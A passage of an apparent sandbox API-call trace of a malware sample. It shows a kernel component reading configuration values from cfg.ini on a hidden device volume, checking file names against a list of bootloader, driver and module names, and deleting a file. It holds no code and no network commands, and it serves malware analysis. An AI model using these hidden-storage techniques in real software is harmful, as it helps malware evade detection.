KeLeaveCriticalRegion () [0121.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.858] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.858] KeEnterCriticalRegion () [0121.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.858] ExFreePoolWithTag (P=0xfffffa8003be2f60, Tag=0x0) [0121.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.858] KeLeaveCriticalRegion () [0121.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.858] ReleaseMutex (hMutex=0xf0) returned 1 [0121.858] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.858] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.859] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.859] KeEnterCriticalRegion () [0121.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.859] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.859] IdePortDispatch () returned 0x103 [0121.859] KeWaitForMutexObject () returned 0x0 [0121.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.859] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.859] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.859] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.859] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.859] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc60d0 [0121.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.859] KeLeaveCriticalRegion () [0121.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.859] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.859] KeEnterCriticalRegion () [0121.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.859] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.859] KeLeaveCriticalRegion () [0121.860] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.860] KeEnterCriticalRegion () [0121.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.860] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.860] IdePortDispatch () returned 0x103 [0121.860] KeWaitForMutexObject () returned 0x0 [0121.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.860] KeLeaveCriticalRegion () [0121.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.860] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.860] KeEnterCriticalRegion () [0121.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be6000 [0121.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.860] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.860] IdePortDispatch () returned 0x103 [0121.860] KeWaitForMutexObject () returned 0x0 [0121.860] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.860] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.860] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.860] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.860] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.860] IdePortDispatch () returned 0x103 [0121.861] KeWaitForMutexObject () returned 0x0 [0121.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.861] KeLeaveCriticalRegion () [0121.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.861] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.861] KeEnterCriticalRegion () [0121.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.861] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.861] KeLeaveCriticalRegion () [0121.861] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.861] KeEnterCriticalRegion () [0121.861] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.861] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.861] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.861] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.861] KeLeaveCriticalRegion () [0121.861] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.861] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.861] KeEnterCriticalRegion () [0121.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.862] ExFreePoolWithTag (P=0xfffffa8003bc60d0, Tag=0x0) [0121.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.862] KeLeaveCriticalRegion () [0121.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.862] ReleaseMutex (hMutex=0xf0) returned 1 [0121.862] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.862] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.862] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.862] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.862] KeEnterCriticalRegion () [0121.862] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.862] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.862] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.862] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.862] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.862] IdePortDispatch () returned 0x103 [0121.862] KeWaitForMutexObject () returned 0x0 [0121.862] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.862] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.862] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.862] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.862] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.862] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.862] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.862] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.862] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.862] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.862] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.862] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.862] KeLeaveCriticalRegion () [0121.862] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.862] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.863] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.863] KeEnterCriticalRegion () [0121.863] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.863] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.863] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.863] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.863] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.863] IdePortDispatch () returned 0x103 [0121.863] KeWaitForMutexObject () returned 0x0 [0121.863] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.863] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.863] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.863] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.863] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.863] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.863] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.863] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.863] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.863] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.863] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.863] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.863] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.863] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.863] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.863] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.863] KeLeaveCriticalRegion () [0121.863] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.863] ReleaseMutex (hMutex=0x100) returned 1 [0121.863] Sleep (dwMilliseconds=0x2bf20) [0121.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bd58d50, dwHighDateTime=0x1d24fa4)) [0121.870] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.870] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.870] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.870] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.870] KeEnterCriticalRegion () [0121.870] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.870] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.870] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.870] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.870] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.870] IdePortDispatch () returned 0x103 [0121.871] KeWaitForMutexObject () returned 0x0 [0121.871] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.871] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.871] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.871] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.871] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.871] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2bb0 [0121.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.871] KeLeaveCriticalRegion () [0121.871] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.871] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.871] KeEnterCriticalRegion () [0121.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.871] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.871] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.871] KeLeaveCriticalRegion () [0121.871] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.871] KeEnterCriticalRegion () [0121.871] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.871] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.871] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.871] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.871] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.871] IdePortDispatch () returned 0x103 [0121.872] KeWaitForMutexObject () returned 0x0 [0121.872] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.872] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.872] KeLeaveCriticalRegion () [0121.872] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.872] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.872] KeEnterCriticalRegion () [0121.872] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000be9000 [0121.872] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.872] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.872] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.872] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.872] IdePortDispatch () returned 0x103 [0121.874] KeWaitForMutexObject () returned 0x0 [0121.874] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.874] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.874] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.874] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.874] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.874] IdePortDispatch () returned 0x103 [0121.874] KeWaitForMutexObject () returned 0x0 [0121.874] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.874] KeLeaveCriticalRegion () [0121.874] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.875] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.875] KeEnterCriticalRegion () [0121.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.875] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.875] KeLeaveCriticalRegion () [0121.875] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.875] KeEnterCriticalRegion () [0121.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.875] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.875] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.875] KeLeaveCriticalRegion () [0121.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.876] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.876] KeEnterCriticalRegion () [0121.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.876] ExFreePoolWithTag (P=0xfffffa8003be2bb0, Tag=0x0) [0121.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.876] KeLeaveCriticalRegion () [0121.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.876] ReleaseMutex (hMutex=0xf0) returned 1 [0121.876] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.876] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.876] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.876] KeEnterCriticalRegion () [0121.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.876] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.876] IdePortDispatch () returned 0x103 [0121.876] KeWaitForMutexObject () returned 0x0 [0121.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.876] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.876] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.876] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.876] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.876] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.877] KeLeaveCriticalRegion () [0121.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.877] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.877] KeEnterCriticalRegion () [0121.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.877] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.877] KeLeaveCriticalRegion () [0121.877] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.877] KeEnterCriticalRegion () [0121.877] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.877] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.877] IdePortDispatch () returned 0x103 [0121.877] KeWaitForMutexObject () returned 0x0 [0121.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.877] KeLeaveCriticalRegion () [0121.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.877] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: 